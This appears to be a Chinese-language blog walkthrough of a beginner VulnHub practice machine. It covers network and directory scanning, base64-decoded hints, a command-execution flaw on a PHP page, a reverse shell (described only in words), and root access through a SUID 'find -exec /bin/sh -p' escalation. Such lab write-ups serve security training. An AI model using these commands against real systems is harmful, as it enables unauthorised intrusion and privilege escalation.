靶机地址
难度:初级
博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]
工具、知识点和漏洞
netdiscover
nmap
dirb
命令执行
SUID权限find命令提权
0x00、信息收集
靶机IP:192.168.0.108
netdiscover -r 192.168.0.0/24
端口和服务
nmap -sS -sV -T4 -A -p- 192.168.0.108
页面、目录枚举
dirb http://192.168.0.108 -X .php,.txt,.zip,.html
python3 dirsearch.py -u http://192.168.0.108 -e .php,.txt,.zip,.html
gobuster dir -u http://192.168.0.108 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip
http://192.168.0.108/robots.txt
base64解密
echo "bG9sIHRyeSBoYXJkZXIgYnJvCg==" | base64 -d
http://192.168.0.108/logs.php,除了PHP版本什么的,没什么有价值的信息
首页
三次base64解密,得到一个网页名称workinginprogress.php
访问workinginprogress.php
上图红框部分,引起了我的注意,这个页面可能存在命令执行漏洞
,经测试确实存在命令执行漏洞。
0x01、反弹shell
ifconfig命令查看kali的IP: 192.168.0.107
kali监听端口
访问反弹shell的链接
python pty.spawn获取标准pty
0x02、find命令提权
查找居于SUID权限可执行文件,发现/usr/bin/find
find / -perm -u=s -type f 2>/dev/null
find命令提权
find . -exec /bin/sh -p \; -quit
更多VulnHub靶机Walkthrough,请访问本人博客(https://blog.csdn.net/weixin_44214107)